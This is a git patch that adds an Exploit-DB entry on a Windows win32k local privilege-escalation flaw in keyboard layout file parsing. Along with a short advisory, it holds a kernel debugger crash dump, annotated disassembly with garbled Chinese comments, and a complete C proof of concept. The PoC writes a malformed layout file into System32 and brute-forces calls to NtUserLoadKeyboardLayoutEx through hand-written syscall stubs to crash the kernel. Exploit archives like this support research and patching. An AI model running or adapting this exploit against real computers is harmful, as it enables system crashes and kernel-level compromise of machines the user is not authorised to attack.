From c1528e8ee009fc1c7cf648bee4f0fe04ba5e20c6 Mon Sep 17 00:00:00 2001 From: Offensive Security Date: Fri, 10 Jul 2015 05:01:54 +0000 Subject: [PATCH] DB: 2015-07-10 1 new exploits --- platforms/windows/local/36327.txt | 293 ++++++++++++++++++++++++++++++ 1 file changed, 293 insertions(+) create mode 100755 platforms/windows/local/36327.txt diff --git a/platforms/windows/local/36327.txt b/platforms/windows/local/36327.txt new file mode 100755 index 000000000..dc014e121 --- /dev/null +++ b/platforms/windows/local/36327.txt @@ -0,0 +1,293 @@ +source: http://www.securityfocus.com/bid/50763/info + +Microsoft Windows is prone to a local privilege-escalation vulnerability. + +A local attacker can exploit this issue to execute arbitrary code with kernel-level privileges. Successful exploits will result in the complete compromise of affected computers. Failed exploit attempts may cause a denial-of-service condition. + +Crash: +/* +win7 +Access violation - code c0000005 (!!! second chance !!!) +win32k!ReadLayoutFile+0x62: +9566d591 8b4834 mov ecx,dword ptr [eax+34h] +kd> r +eax=ffffffe8 ebx=00000000 ecx=fe978b2e edx=000000e0 esi=fe4e0168 edi=00000000 +eip=9566d591 esp=985ad8a0 ebp=985ad8bc iopl=0 nv up ei pl nz ac pe cy +cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010217 +win32k!ReadLayoutFile+0x62: +9566d591 8b4834 mov ecx,dword ptr [eax+34h] ds:0023:0000001c=???????? + +kd> kb +ChildEBP RetAddr Args to Child +985acf5c 83d1b083 00000003 bc9827e2 00000065 nt!RtlpBreakWithStatusInstruction +985acfac 83d1bb81 00000003 985ad3b0 00000000 nt!KiBugCheckDebugBreak+0x1c +985ad370 83d1af20 0000008e c0000005 9566d591 nt!KeBugCheck2+0x68b +985ad394 83cf108c 0000008e c0000005 9566d591 nt!KeBugCheckEx+0x1e +985ad7bc 83c7add6 985ad7d8 00000000 985ad82c nt!KiDispatchException+0x1ac +985ad824 83c7ad8a 985ad8bc 9566d591 badb0d00 nt!CommonDispatchException+0x4a +985ad8bc 9566dc6a fe4e0168 80000984 00000160 nt!Kei386EoiHelper+0x192 +985ad8dc 95669b7b 80000984 00000160 000001ae win32k!LoadKeyboardLayoutFile+0x70 +985ad968 9567c21e 883bf4b0 80000984 08040804 win32k!xxxLoadKeyboardLayoutEx+0x1be +985ad9a4 9566a275 883bf4b0 80000984 08040804 win32k!xxxSafeLoadKeyboardLayoutEx+0x93 +985add0c 83c7a1ea 00000038 00000160 000001ae win32k!NtUserLoadKeyboardLayoutEx+0x119 +985add0c 777970b4 00000038 00000160 000001ae nt!KiFastCallEntry+0x12a +001ff470 0111c58c 0111c76a 00000038 00000160 ntdll!KiFastSystemCallRet +WARNING: Stack unwind information not available. Following frames may be wrong. +001ff9f8 0111c956 00000000 00000000 7ffd9000 ms10_73+0x2c58c + +Details£º +WIN7 +.text:BF80D538 push eax ; int +.text:BF80D539 push 40000h ; int +.text:BF80D53E push 40h ; int +.text:BF80D540 push [ebp+start_buffer] ; FileHandle +.text:BF80D543 mov [ebp+plength], ebx +.text:BF80D546 mov [ebp+ppbuffer], ebx +.text:BF80D549 mov [ebp+var_10], ebx +.text:BF80D54C call _LoadFileContent@20 ; LoadFileContent(x,x,x,x,x) +.text:BF80D551 test eax, eax +.text:BF80D553 jl loc_BF80D6F1 +.text:BF80D559 mov ecx, [ebp+ppbuffer] ¹¹Ôì¶ÑµØÖ·+3ch´¦µÄdword =0xffffffxx ¼´¿ÉÈÆ¹ý¼ì²â£¬µ¼ÖÂBSOD +.text:BF80D55C mov eax, [ecx+3Ch] //ÐèÒª²Â²â¶ÑµÄµØÖ· +.text:BF80D55F add eax, ecx +.text:BF80D561 cmp eax, ecx +.text:BF80D563 jb loc_BF80D6F1 +.text:BF80D569 mov ecx, [ebp+plength] +.text:BF80D56C mov edx, [ebp+ppbuffer] +.text:BF80D56F add ecx, edx +.text:BF80D571 lea edx, [eax+0F8h] +.text:BF80D577 mov [ebp+plength], ecx +.text:BF80D57A cmp edx, ecx +.text:BF80D57C jnb loc_BF80D6F1 +.text:BF80D582 mov ecx, [eax+34h] ----->crash + + +winxp + +.text:BF8821D7 push eax ; ViewSize +.text:BF8821D8 push esi ; SectionOffset +.text:BF8821D9 push esi ; CommitSize +.text:BF8821DA push esi ; ZeroBits +.text:BF8821DB lea eax, [ebp+BaseAddress] +.text:BF8821DE push eax ; BaseAddress +.text:BF8821DF push 0FFFFFFFFh ; ProcessHandle +.text:BF8821E1 push [ebp+Handle] ; SectionHandle +.text:BF8821E4 call ds:__imp__ZwMapViewOfSection@40 ; ZwMapViewOfSection(x,x,x,x,x,x,x,x,x,x) +.text:BF8821EA test eax, eax +.text:BF8821EC jl loc_BF88238A +.text:BF8821F2 mov ecx, [ebp+BaseAddress] +.text:BF8821F5 mov eax, [ecx+3Ch] +.text:BF8821F8 add eax, ecx +.text:BF8821FA movzx edx, word ptr [eax+6] -----¡µcrash + + + +// poc.cpp : ¶¨Òå¿ØÖÆÌ¨Ó¦ÓóÌÐòµÄÈë¿Úµã¡£ +// + +#include "stdafx.h" + + +#include +#include +#include + +#pragma comment(lib,"User32.lib") + +#define MAGIC_OFFSET 0x6261 +#define WIN7 1 +#define InitializeUnicodeStr(p,s) { \ + (p)->Length= wcslen(s)*2; \ + (p)->MaximumLength = wcslen(s)*2+2; \ + (p)->Buffer = s; \ +} +#if WIN7 + +_declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx +( + IN HANDLE Handle, + IN DWORD offTablelow, + IN DWORD offTableHigh, + IN PUNICODE_STRING puszKeyboardName, + IN HKL hKL, + IN PUNICODE_STRING puszKLID, + IN DWORD dwKLID, + IN UINT Flags + ) +{ + __asm + { + mov eax,11E3h + mov edx, 7ffe0300h + call dword ptr [edx] + ret 20h + } +} +#else +_declspec(naked) HKL __stdcall NtUserLoadKeyboardLayoutEx +( + IN HANDLE Handle, + IN DWORD offTable, + IN PUNICODE_STRING puszKeyboardName, + IN HKL hKL, + IN PUNICODE_STRING puszKLID, + IN DWORD dwKLID, + IN UINT Flags + ) +{ + __asm + { + mov eax, 000011c6h + mov edx, 7ffe0300h + call dword ptr [edx] + retn 1Ch + } +} +#endif + + + + +unsigned char fakeDll2[]="\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x35\x44\x01"//0x40 00 00 00 base=fdbbca98 fdbbca00 02443500 +"\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00"// +"\x00\x00\x00\x00\xE0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x2E\x64\x61\x74\x61\x00\x00\x00" +"\xE6\x00\x00\x00\x60\x01\x00\x00\xE6\x00\x00\x00\x60\x01\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\xFF\xFF\x00\x00\x9E\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//crash?? 94 10 +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\xA6\x01\x00\x00\xAA\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x9C\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x01\x00\x00\x00\xC2\x01\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x06\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"//index +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" +"\x00\x00\x00\x00\x00\x00"; + +; +UNICODE_STRING uStr; +UNICODE_STRING uKerbordname; + +VOID boom_loadlayout() +{ + + KEYBDINPUT kb={0}; + INPUT vInput={0}; + + HANDLE hFile; + DWORD dwFuckS0ny; + + HKL hKbd; + + WCHAR lpPath[MAX_PATH]={0}; + WCHAR lpLayoutFile[MAX_PATH]={L"C:\\Windows\\System32\\lSp0wns.boom111"}; + + LPVOID lpShellPtr; + + + + + //strcpy( lpLayoutFile, L"%lSp0wns.boom111", lpPath); + + hFile = CreateFileW(lpLayoutFile, + GENERIC_READ|GENERIC_WRITE, + FILE_SHARE_READ|FILE_SHARE_WRITE, + 0, + CREATE_ALWAYS, + 0,0); + + if( hFile == INVALID_HANDLE_VALUE ) + { + printf(" \n[!!] Error:errorcode:%x\n",GetLastError()); + exit(0); + } + + WriteFile( hFile, + fakeDll2, + sizeof(fakeDll2)-1, + &dwFuckS0ny, + NULL); + //printf("\n[+] Writing malformed kbd layout file \n\t\"%S\"\n\t[ %d ] bytes written\n",lpLayoutFile,dwFuckS0ny); + CloseHandle(hFile); + + hFile = CreateFileW (lpLayoutFile, + GENERIC_READ, + FILE_SHARE_READ, + 0, + OPEN_EXISTING, + 0,0); + + if( hFile == INVALID_HANDLE_VALUE ) + { + printf(" \n[!!] Error\n"); + exit(0); + } + hKbd = GetKeyboardLayout( GetWindowThreadProcessId( GetForegroundWindow(), &dwFuckS0ny ) ); + printf("\n[+] Loading it...[ 0x%x ]\n", NtUserLoadKeyboardLayoutEx( hFile, 0x0160,0x01AE,&uKerbordname, hKbd, &uStr, 0x666, 0x101 ) );// 0x101 + /*HKL NTAPI NtUserLoadKeyboardLayoutEx ( IN HANDLE Handle, + IN DWORD offTable, + IN PUNICODE_STRING puszKeyboardName, + IN HKL hKL, + IN PUNICODE_STRING puszKLID, + IN DWORD dwKLID, + IN UINT Flags + ) */ + //win7ÏÂÃæÕâ¸öº¯ÊýÊǸö²ÎÊýÀ´ÆäÖÐoffTable²ð·Ö³É¸ö + //ÎļþÒ»¶¨Òª·ÅÔÚsystem32Ŀ¼ÏÂÃæ²»È»´¥·¢²»ÁË + + + CloseHandle(hFile); + //printf("\n[+] Done\n"); +} +int _tmain(int argc, _TCHAR* argv[]) +{ + + LoadLibraryA("user32.dll"); + InitializeUnicodeStr(&uStr,L"p3d.dll");//ÏÖÔÚ±ØÐëСÓÚ³¤¶È + //fix by instruder + InitializeUnicodeStr(&uKerbordname,L"A"); + uKerbordname.MaximumLength=0; + + for (int j=0;j<=2;j++) + { + for (int i1=0;i1<=0xff;i1++) + { + for (int i2=0;i2<0xff;i2++) + { + printf("%x,%x\n",i1,i2); + fakeDll2[0x3d]=i1; + fakeDll2[0x3e]=i2; + fakeDll2[0x3f]=j; + boom_loadlayout(); + + } + } + } + + + + return 0; +}// +